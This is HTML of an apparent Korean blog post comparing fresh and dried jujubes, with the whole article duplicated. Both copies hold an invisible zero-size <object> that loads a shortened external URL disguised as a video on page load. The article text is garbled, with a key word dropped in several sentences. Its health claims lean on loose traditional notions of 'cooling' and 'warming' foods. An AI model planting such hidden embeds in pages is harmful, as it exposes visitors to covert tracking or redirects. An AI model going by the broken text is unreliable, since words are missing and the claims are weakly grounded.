<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cbfm" type="video/mp4"></object>
<div _ngcontent-ng-c3936258733="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear; --first-token-animation-duration: 400ms;"><h2 data-sourcepos="1:1-1:33">대추 : 생과와 말린 대추, 어떤 차이가 있을까요?</h2><p data-sourcepos="3:1-3:81">대추는 예로부터 건강에 좋은 식품으로 알려져 왔습니다. 붉게 익은 대추를 그대로 먹는 생과와 말려서 먹는 말린 대추, 각각 어떤 이 있을까요?</p><h3 data-sourcepos="5:1-5:9">생과 대추</h3><ul data-sourcepos="7:1-10:0">
<li data-sourcepos="7:1-7:72"><strong>신선한 과즙과 풍부한 수분:</strong> 생과 대추는 신선한 과즙과 풍부한 수분을 함유하고 있어 갈증 해소와 피부 미용에 좋습니다.</li>
<li data-sourcepos="8:1-8:71"><strong>비타민 C 함량이 높아:</strong> 비타민 C는 강력한 항산화 작용을 하여 면역력 증강에 도움을 주고, 피부 건강에도 좋습니다.</li>
<li data-sourcepos="9:1-10:0"><strong>체내 열을 식혀주는 :</strong> 생과 대추는 성질이 약간 차가워 체내 열을 식혀주는 가 있어 열이 많은 사람에게 좋습니다.</li>
</ul><h3 data-sourcepos="11:1-11:9">말린 대추</h3><ul data-sourcepos="13:1-16:0">
<li data-sourcepos="13:1-13:112"><strong>달콤한 맛과 풍부한 영양소:</strong> 말리는 과정에서 수분이 증발하면서 당분이 농축되어 더욱 달콤한 맛을 느낄 수 있습니다. 또한, 비타민, 미네랄 등 다양한 영양소가 농축되어 영양 가치가 높습니다.</li>
<li data-sourcepos="14:1-14:74"><strong>따뜻한 성질로 몸을 따뜻하게 해줍니다:</strong> 말린 대추는 성질이 따뜻하여 몸을 따뜻하게 해주고 기력을 보충하는 데 적입니다.</li>
<li data-sourcepos="15:1-16:0"><strong>소화를 돕고 위장을 편안하게 해줍니다:</strong> 말린 대추는 소화를 돕고 위장을 편안하게 해주는 이 있어 소화불량이나 속이 불편할 때 좋습니다.</li>
</ul><h3 data-sourcepos="17:1-17:29">생과와 말린 대추, 어떤 것을 먹어야 할까요?</h3><p data-sourcepos="19:1-19:63">생과와 말린 대추는 각각의 장점이 있기 때문에, 자신의 체질과 건강 상태에 맞게 선택하여 섭취하는 것이 좋습니다.</p><ul data-sourcepos="21:1-24:0">
<li data-sourcepos="21:1-21:47"><strong>열이 많은 사람:</strong> 생과 대추를 섭취하여 체내 열을 식혀주는 것이 좋습니다.</li>
<li data-sourcepos="22:1-22:60"><strong>소화가 잘 안 되는 사람:</strong> 말린 대추를 섭취하여 소화를 돕고 위장을 편안하게 하는 것이 좋습니다.</li>
<li data-sourcepos="23:1-24:0"><strong>기력이 부족한 사람:</strong> 말린 대추를 섭취하여 기력을 보충하는 것이 좋습니다.</li>
</ul><p data-sourcepos="25:1-25:9"><strong>주의사항:</strong></p><ul data-sourcepos="27:1-29:0">
<li data-sourcepos="27:1-27:44"><strong>당뇨병 환자:</strong> 대추는 당분 함량이 높으므로 섭취 시 주의해야 합니다.</li>
<li data-sourcepos="28:1-29:0"><strong>치아 건강:</strong> 말린 대추는 끈적임이 있어 치아에 붙어 충치를 유발할 수 있으므로 양치질을 꼼꼼히 해주는 것이 좋습니다.</li>
</ul><p data-sourcepos="30:1-30:102"><strong>결론적으로, 생과 대추와 말린 대추 모두 각각의 장점이 있으며, 자신의 건강 상태에 맞게 선택하여 섭취하는 것이 좋습니다.</strong> 궁금한 점이 있다면 전문가와 상담하는 것이 좋습니다.</p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbfm" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3936258733="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear; --first-token-animation-duration: 400ms;"><h2 data-sourcepos="1:1-1:33">대추 : 생과와 말린 대추, 어떤 차이가 있을까요?</h2><p data-sourcepos="3:1-3:81">대추는 예로부터 건강에 좋은 식품으로 알려져 왔습니다. 붉게 익은 대추를 그대로 먹는 생과와 말려서 먹는 말린 대추, 각각 어떤 이 있을까요?</p><h3 data-sourcepos="5:1-5:9">생과 대추</h3><ul data-sourcepos="7:1-10:0">
<li data-sourcepos="7:1-7:72"><strong>신선한 과즙과 풍부한 수분:</strong> 생과 대추는 신선한 과즙과 풍부한 수분을 함유하고 있어 갈증 해소와 피부 미용에 좋습니다.</li>
<li data-sourcepos="8:1-8:71"><strong>비타민 C 함량이 높아:</strong> 비타민 C는 강력한 항산화 작용을 하여 면역력 증강에 도움을 주고, 피부 건강에도 좋습니다.</li>
<li data-sourcepos="9:1-10:0"><strong>체내 열을 식혀주는 :</strong> 생과 대추는 성질이 약간 차가워 체내 열을 식혀주는 가 있어 열이 많은 사람에게 좋습니다.</li>
</ul><h3 data-sourcepos="11:1-11:9">말린 대추</h3><ul data-sourcepos="13:1-16:0">
<li data-sourcepos="13:1-13:112"><strong>달콤한 맛과 풍부한 영양소:</strong> 말리는 과정에서 수분이 증발하면서 당분이 농축되어 더욱 달콤한 맛을 느낄 수 있습니다. 또한, 비타민, 미네랄 등 다양한 영양소가 농축되어 영양 가치가 높습니다.</li>
<li data-sourcepos="14:1-14:74"><strong>따뜻한 성질로 몸을 따뜻하게 해줍니다:</strong> 말린 대추는 성질이 따뜻하여 몸을 따뜻하게 해주고 기력을 보충하는 데 적입니다.</li>
<li data-sourcepos="15:1-16:0"><strong>소화를 돕고 위장을 편안하게 해줍니다:</strong> 말린 대추는 소화를 돕고 위장을 편안하게 해주는 이 있어 소화불량이나 속이 불편할 때 좋습니다.</li>
</ul><h3 data-sourcepos="17:1-17:29">생과와 말린 대추, 어떤 것을 먹어야 할까요?</h3><p data-sourcepos="19:1-19:63">생과와 말린 대추는 각각의 장점이 있기 때문에, 자신의 체질과 건강 상태에 맞게 선택하여 섭취하는 것이 좋습니다.</p><ul data-sourcepos="21:1-24:0">
<li data-sourcepos="21:1-21:47"><strong>열이 많은 사람:</strong> 생과 대추를 섭취하여 체내 열을 식혀주는 것이 좋습니다.</li>
<li data-sourcepos="22:1-22:60"><strong>소화가 잘 안 되는 사람:</strong> 말린 대추를 섭취하여 소화를 돕고 위장을 편안하게 하는 것이 좋습니다.</li>
<li data-sourcepos="23:1-24:0"><strong>기력이 부족한 사람:</strong> 말린 대추를 섭취하여 기력을 보충하는 것이 좋습니다.</li>
</ul><p data-sourcepos="25:1-25:9"><strong>주의사항:</strong></p><ul data-sourcepos="27:1-29:0">
<li data-sourcepos="27:1-27:44"><strong>당뇨병 환자:</strong> 대추는 당분 함량이 높으므로 섭취 시 주의해야 합니다.</li>
<li data-sourcepos="28:1-29:0"><strong>치아 건강:</strong> 말린 대추는 끈적임이 있어 치아에 붙어 충치를 유발할 수 있으므로 양치질을 꼼꼼히 해주는 것이 좋습니다.</li>
</ul><p data-sourcepos="30:1-30:102"><strong>결론적으로, 생과 대추와 말린 대추 모두 각각의 장점이 있으며, 자신의 건강 상태에 맞게 선택하여 섭취하는 것이 좋습니다.</strong> 궁금한 점이 있다면 전문가와 상담하는 것이 좋습니다.</p></div>
</div></div>
<!-- -->
